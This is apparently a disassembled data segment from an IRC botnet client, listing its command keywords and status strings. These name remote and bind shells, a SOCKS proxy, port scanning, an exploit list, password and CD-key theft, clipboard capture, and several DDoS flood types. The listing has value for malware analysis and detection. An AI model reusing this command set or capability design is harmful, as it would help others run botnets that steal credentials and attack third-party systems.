		db 'from Hell?) who I love so much.',0
		align 4
dword_42CE58	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: seg000:00404938o
aFailedToSta_18	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42CE94	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: seg000:004048D4o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:004048CEo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:004048C7o
		align 4
unk_42CEC8	db  2Dh	; -		; DATA XREF: seg000:0040483Bo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42CF08	db  2Dh	; -		; DATA XREF: seg000:004047CDo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42CF34	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: seg000:00404736o
aFailedToSta_20	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42CF70	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: seg000:004046DDo
					; seg000:004113FCo
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42CF98	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	seg000:00404613o
dword_42CFA8	dd 646E6946h, 6C696620h, 65h ; DATA XREF: seg000:0040460Eo
dword_42CFB4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: seg000:004045FEo
dword_42CFC4	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: seg000:004045F9o
dword_42CFD4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: seg000:00404586o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404579o
					; seg000:loc_409680o ...
		align 4
dword_42D008	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: seg000:00404564o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404557o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404540o
					; seg000:004094ADo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040452Eo
		align 4
unk_42D058	db  2Dh	; -		; DATA XREF: seg000:004044E2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42D084	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: seg000:004044A4o
		dd 2E7325h
unk_42D09C	db  2Dh	; -		; DATA XREF: seg000:0040446Bo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_21	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42D0D8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: seg000:00404412o
		dd 65726874h, 2E736461h, 0
dword_42D0F8	dd 627573h		; DATA XREF: seg000:004043ECo
dword_42D0FC	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: seg000:0040439Ao
		dd 2E7473h
unk_42D114	db  2Dh	; -		; DATA XREF: seg000:0040436Ao
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_22	db '- Failed to start listing thread, error: <%d>.',0
dword_42D14C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: seg000:004042F3o
		dd 2E676Fh
dword_42D164	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: seg000:0040426Co
		dd 6F666E49h, 2Eh
dword_42D180	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: seg000:0040423Do
		dd 2E6F666Eh, 0
dword_42D19C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: seg000:004041E8o
		dd 746F4220h, 2Eh
unk_42D1B8	db  2Dh	; -		; DATA XREF: seg000:004041B7o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42D1F4	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: seg000:00404158o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: seg000:00404138o
		align 4
unk_42D218	db  2Dh	; -		; DATA XREF: seg000:004040D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
dword_42D238	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: seg000:004040ADo
aSearchComplete	db '- Search completed.',0
dword_42D258	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: seg000:0040405Eo
		dd 2E7325h
unk_42D270	db  2Dh	; -		; DATA XREF: seg000:loc_403F94o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42D290	db  2Dh	; -		; DATA XREF: seg000:00403F8Do
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42D2B8	db  2Dh	; -		; DATA XREF: seg000:00403F71o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42D2E4	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: seg000:00403F5Bo
		dd 72616F62h, 2E64h
dword_42D300	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: seg000:00403F2Do
		dd 2Dh
unk_42D318	db  2Dh	; -		; DATA XREF: seg000:loc_403F1Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42D344	db  2Dh	; -		; DATA XREF: seg000:00403F16o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42D368	db  2Dh	; -		; DATA XREF: seg000:loc_403EECo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42D394	db  2Dh	; -		; DATA XREF: seg000:loc_403EE5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42D3C0	db  2Dh	; -		; DATA XREF: seg000:00403EDEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42D3E4	db  2Dh	; -		; DATA XREF: seg000:00403E4Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_24	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42D420	db  2Dh	; -		; DATA XREF: seg000:00403DF2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42D45C	db  2Dh	; -		; DATA XREF: seg000:00403D14o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42D498	db  2Dh	; -		; DATA XREF: seg000:00403CBBo
					; seg000:0040BD69o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42D4D4	db  2Dh	; -		; DATA XREF: seg000:00403B9Fo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42D510	db  2Dh	; -		; DATA XREF: seg000:00403B46o
					; seg000:0040BA00o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: seg000:00403A99o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42D564	db  2Dh	; -		; DATA XREF: seg000:loc_403A83o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_27	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42D59C	db  2Dh	; -		; DATA XREF: seg000:00403A21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42D5D8	db  2Dh	; -		; DATA XREF: seg000:004039C2o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: seg000:00403997o
					; seg000:00407664o
		align 10h
aRandom		db 'Random',0           ; DATA XREF: seg000:00403990o
					; seg000:0040765Do
		align 4
unk_42D658	db  2Dh	; -		; DATA XREF: seg000:004037DDo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42D698	db  2Dh	; -		; DATA XREF: seg000:0040376Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_29	db 'Failed to start search thread, error: <%d>.',0
unk_42D6D4	db  2Dh	; -		; DATA XREF: seg000:004036EEo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: seg000:004036C0o
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: seg000:004036AFo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: seg000:00403699o
		align 10h
aPhonehome	db 'phonehome',0        ; DATA XREF: seg000:00403682o
		align 4
aSfdgdfgdfa	db 'sfdgdfgdfa',0       ; DATA XREF: seg000:0040366Do
		align 4
aFofofo2	db 'fofofo2',0          ; DATA XREF: seg000:00403658o
dword_42D750	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: seg000:00403608o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: seg000:004035F2o
					; seg000:00403642o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: seg000:004035DDo
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: seg000:004035C8o
		align 4
aHttp		db 'http',0             ; DATA XREF: seg000:004035B3o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: seg000:0040359Eo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: seg000:00403589o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: seg000:00403574o
		align 4
aCip		db 'cip',0              ; DATA XREF: seg000:0040355Fo
aCurrentip	db 'currentip',0        ; DATA XREF: seg000:0040354Ao
		align 4
aFdns		db 'fdns',0             ; DATA XREF: seg000:00403535o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: seg000:00403520o
		align 4
aFarp		db 'farp',0             ; DATA XREF: seg000:0040350Bo
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: seg000:004034F6o
		align 4
aGc		db 'gc',0               ; DATA XREF: seg000:004034E1o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: seg000:004034CCo
unk_42D7F8	db  2Dh	; -		; DATA XREF: seg000:0040348Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: seg000:00403473o
					; seg000:0040579Ao ...
aSpoof		db 'spoof',0            ; DATA XREF: seg000:0040345Co
		align 4
unk_42D82C	db  2Dh	; -		; DATA XREF: seg000:0040343Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: seg000:00403417o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:loc_40340Ao
dword_42D860	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: seg000:004033EAo
dword_42D874	dd 6F6877h		; DATA XREF: seg000:004033CDo
dword_42D878	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: seg000:004033C2o
dword_42D884	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: seg000:004033BDo
aCmdstop	db 'cmdstop',0          ; DATA XREF: seg000:004033A4o
aOcmd		db 'ocmd',0             ; DATA XREF: seg000:0040338Fo
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: seg000:0040337Ao
aDll		db 'dll',0              ; DATA XREF: seg000:00403365o
aTestdlls	db 'testdlls',0         ; DATA XREF: seg000:00403350o
		align 4
aDrv		db 'drv',0              ; DATA XREF: seg000:0040333Bo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: seg000:00403326o
		align 4
aUp		db 'up',0               ; DATA XREF: seg000:00403311o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: seg000:004032FCo
		align 4
aKey		db 'key',0              ; DATA XREF: seg000:004032E7o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: seg000:004032D2o
		align 4
aPs		db 'ps',0               ; DATA XREF: seg000:004032BDo
		align 4
aProcs		db 'procs',0            ; DATA XREF: seg000:004032A8o
		align 4
aRemov10e2	db 'remov10e2',0        ; DATA XREF: seg000:00403293o
		align 10h
aRemov10e	db 'remov10e',0         ; DATA XREF: seg000:0040327Eo
		align 4
aSi		db 'si',0               ; DATA XREF: seg000:00403269o
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: seg000:00403254o
aNi		db 'ni',0               ; DATA XREF: seg000:0040323Fo
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: seg000:0040322Ao
aClg		db 'clg',0              ; DATA XREF: seg000:00403215o
aClearlog	db 'clearlog',0         ; DATA XREF: seg000:00403200o
		align 4
aLg		db 'lg',0               ; DATA XREF: seg000:004031EBo
		align 4
aLog		db 'log',0              ; DATA XREF: seg000:004031D6o
aAl		db 'al',0               ; DATA XREF: seg000:004031C1o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: seg000:004031ACo
aT:					; DATA XREF: seg000:00403197o
					; seg002:0043A870o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: seg000:00403182o
unk_42D954	db  2Dh	; -		; DATA XREF: seg000:0040314Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42D97C	db  2Dh	; -		; DATA XREF: seg000:00403147o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: seg000:00403130o
		align 4
aI:					; DATA XREF: seg000:0040311Bo
					; seg002:0043A87Co ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: seg000:00403106o
		align 4
aS_1:					; DATA XREF: seg000:004030F1o
					; seg002:0043A888o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: seg000:004030DCo
		align 4
aQ:					; DATA XREF: seg000:004030C7o
					; seg002:off_43A860o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: seg000:004030B2o
		align 4
aDc		db 'dc',0               ; DATA XREF: seg000:0040309Do
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: seg000:00403088o
		align 4
aR:					; DATA XREF: seg000:00403073o
					; seg000:00405893o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: seg000:0040305Eo
		align 4
aExplist	db 'explist',0          ; DATA XREF: seg000:00403049o
aExploitlist	db 'exploitlist',0      ; DATA XREF: seg000:00403034o
aCbstats	db 'cbstats',0          ; DATA XREF: seg000:0040301Fo
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: seg000:0040300Ao
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: seg000:00402FF5o
aTransferstats	db 'transferstats',0    ; DATA XREF: seg000:00402FE0o
		align 4
aStats		db 'stats',0            ; DATA XREF: seg000:00402FCBo
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: seg000:00402FB6o
		align 10h
dword_42DA40	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: seg000:00402FABo
aScan_0		db 'Scan',0             ; DATA XREF: seg000:00402FA6o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: seg000:00402F8Do
		align 10h
dword_42DA60	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: seg000:00402F82o
aSecure_0	db 'Secure',0           ; DATA XREF: seg000:00402F7Do
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: seg000:00402F64o
		align 4
dword_42DA84	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: seg000:00402F59o
aClone		db 'Clone',0            ; DATA XREF: seg000:00402F54o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: seg000:00402F3Bo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: seg000:00402F26o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: seg000:00402F11o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: seg000:00402EFCo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: seg000:00402EE7o
		align 4
dword_42DAD4	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: seg000:00402EDCo
aTftpstop	db 'tftpstop',0         ; DATA XREF: seg000:00402EBEo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: seg000:00402E95o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: seg000:00402E6Co
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: seg000:00402E43o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: seg000:00402E1Ao
unk_42DB1C	db  2Dh	; -		; DATA XREF: seg000:00402E00o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42DB50	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: seg000:00402DC5o
					; seg000:00402E61o
dword_42DB60	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: seg000:00402DC0o
					; seg000:00402E5Co
dword_42DB70	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: seg000:00402DA7o
					; seg000:00402E38o
dword_42DB80	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: seg000:00402DA2o
					; seg000:00402E33o
dword_42DB90	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: seg000:00402D47o
					; seg000:00402EB3o
dword_42DB9C	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402D42o
					; seg000:00402EAEo
dword_42DBA8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: seg000:00402D29o
					; seg000:00402E8Ao
dword_42DBB4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402D24o
					; seg000:00402E85o
aPacketstop	db 'packetstop',0       ; DATA XREF: seg000:00402CC4o
		align 4
dword_42DBCC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: seg000:00402CB9o
					; seg000:00402D86o
dword_42DBD8	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402CB4o
					; seg000:00402D81o
aWonkstop	db 'wonkstop',0         ; DATA XREF: seg000:00402C9Bo
		align 10h
dword_42DBF0	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: seg000:00402C90o
					; seg000:00402D68o
dword_42DC00	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: seg000:00402C8Bo
					; seg000:00402D63o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: seg000:00402C72o
		align 4
dword_42DC1C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: seg000:00402C67o
					; seg000:00402DE6o
dword_42DC2C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: seg000:00402C62o
					; seg000:00402DE1o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: seg000:00402C49o
		align 4
dword_42DC48	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: seg000:00402C3Eo
					; seg000:00402D08o
dword_42DC54	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402C39o
					; seg000:00402D03o
aSynstop	db 'synstop',0          ; DATA XREF: seg000:00402C20o
dword_42DC68	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: seg000:00402C15o
					; seg000:00402CEAo
dword_42DC74	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402C10o
					; seg000:00402CE5o
dword_42DC80	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: seg000:00402BF7o
dword_42DC8C	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	seg000:00402BECo
dword_42DC9C	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: seg000:00402BE7o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: seg000:00402BCEo
		align 4
dword_42DCBC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: seg000:00402BC3o
dword_42DCC8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	seg000:00402BBEo
aLogstop	db 'logstop',0          ; DATA XREF: seg000:00402BA5o
dword_42DCDC	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: seg000:00402B9Ao
aHttpstop	db 'httpstop',0         ; DATA XREF: seg000:00402B7Co
		align 4
dword_42DCF8	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: seg000:00402B71o
aRloginstop	db 'rloginstop',0       ; DATA XREF: seg000:00402B53o
		align 4
dword_42DD14	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: seg000:00402B48o
aSocks4stop	db 'socks4stop',0       ; DATA XREF: seg000:00402B2Ao
		align 10h
aS4		db 's4',0               ; DATA XREF: seg000:00402B15o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: seg000:00402B00o
		align 4
dword_42DD3C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: seg000:00402AF5o
aServer		db 'Server',0           ; DATA XREF: seg000:00402AF0o
					; seg000:00402B43o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: seg000:00402AD7o
		align 4
aBd		db 'bd',0               ; DATA XREF: seg000:00402AC2o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: seg000:00402AADo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: seg000:00402A98o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: seg000:00402A83o
		align 4
aSec		db 'sec',0              ; DATA XREF: seg000:00402A6Eo
					; seg000:0040486Co
aSecure		db 'secure',0           ; DATA XREF: seg000:00402A59o
					; seg000:0040485Bo
		align 4
aSt		db 'st',0               ; DATA XREF: seg000:00402A44o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: seg000:00402A2Fo
		align 4
aDed		db 'ded',0              ; DATA XREF: seg000:00402A1Ao
aDedication	db 'dedication',0       ; DATA XREF: seg000:00402A05o
		align 4
aVer		db 'ver',0              ; DATA XREF: seg000:004029F0o
aVersion	db 'version',0          ; DATA XREF: seg000:004029DBo
aLo		db 'lo',0               ; DATA XREF: seg000:004029C6o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg000:004029B1o
		align 10h
aD:					; DATA XREF: seg000:0040299Co
					; seg002:0043A88Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: seg000:00402987o
aRn		db 'rn',0               ; DATA XREF: seg000:00402972o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: seg000:0040295Ao
a63		db '63',0               ; DATA XREF: seg000:00402829o
		align 4
asc_42DDE8:				; DATA XREF: seg000:00402801o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:004027C7o
		align 4
aServer_1	db '$server',0          ; DATA XREF: seg000:004027BCo
aRndnick_0	db '$rndnick',0         ; DATA XREF: seg000:004027ABo
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:0040278Fo
		align 10h
aUser_2		db '$user',0            ; DATA XREF: seg000:0040277Eo
		align 4
aMe		db '$me',0              ; DATA XREF: seg000:0040276Co
aD_0		db '$%d',0              ; DATA XREF: seg000:004026FEo
aD_1		db '$%d-',0             ; DATA XREF: seg000:00402648o
		align 4
aF:					; DATA XREF: seg000:0040256Ao
					; seg002:0043A890o ...
		unicode	0, <f>,0
aHi		db 'hi',0               ; DATA XREF: seg000:00402552o
		align 10h
unk_42DE30	db  2Dh	; -		; DATA XREF: seg000:0040252Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42DE64	db  2Dh	; -		; DATA XREF: seg000:0040251Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42DE94	db  2Dh	; -		; DATA XREF: seg000:004024F8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_30	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42DECC	db  2Dh	; -		; DATA XREF: seg000:0040249Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: seg000:0040240Bo
		align 8
unk_42DEF8	db  2Dh	; -		; DATA XREF: seg000:004023EEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
dword_42DF3C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:004023BEo
		dd 0A0Dh
dword_42DF54	dd 4E495001h, 47h	; DATA XREF: seg000:0040238Ao
dword_42DF5C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:0040237Fo
		dd 0D017325h, 0Ah
dword_42DF78	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	seg000:0040234Eo
dword_42DF84	dd 23h			; DATA XREF: seg000:004022C2o
					; sub_40C8D5+1Bo
unk_42DF88	db  2Dh	; -		; DATA XREF: seg000:00402242o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
